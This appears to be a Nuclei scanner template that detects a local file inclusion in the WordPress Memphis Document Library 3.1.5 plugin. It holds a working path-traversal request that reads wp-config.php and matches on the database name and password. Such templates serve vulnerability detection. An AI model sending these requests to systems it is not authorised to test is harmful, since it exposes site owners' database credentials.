id: wp-memphis-documents-library-lfi

info:
  name: WordPress Memphis Document Library 3.1.5 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: WordPress Memphis Document Library 3.1.5 is vulnerable to local file inclusion.
  reference:
    - https://www.exploit-db.com/exploits/39593
    - https://wpscan.com/vulnerability/53999c06-05ca-44f1-b713-1e4d6b4a3f9f
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 2
  tags: wpscan,wordpress,wp-plugin,lfi,edb,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/mdocs-posts/?mdocs-img-preview=../../../wp-config.php'
      - '{{BaseURL}}/?mdocs-img-preview=../../../wp-config.php'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        part: body
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a004730450220500071f640d74f20ece87129225e5b3fd03f4ca9aaba1b658e6c1eaa7675a4d0022100ce7768edcee87b1b60204382202ac68a591aeee6c3eced235fd8f5ed7e19d17e:922c64590222798bb761d5b6d8e72950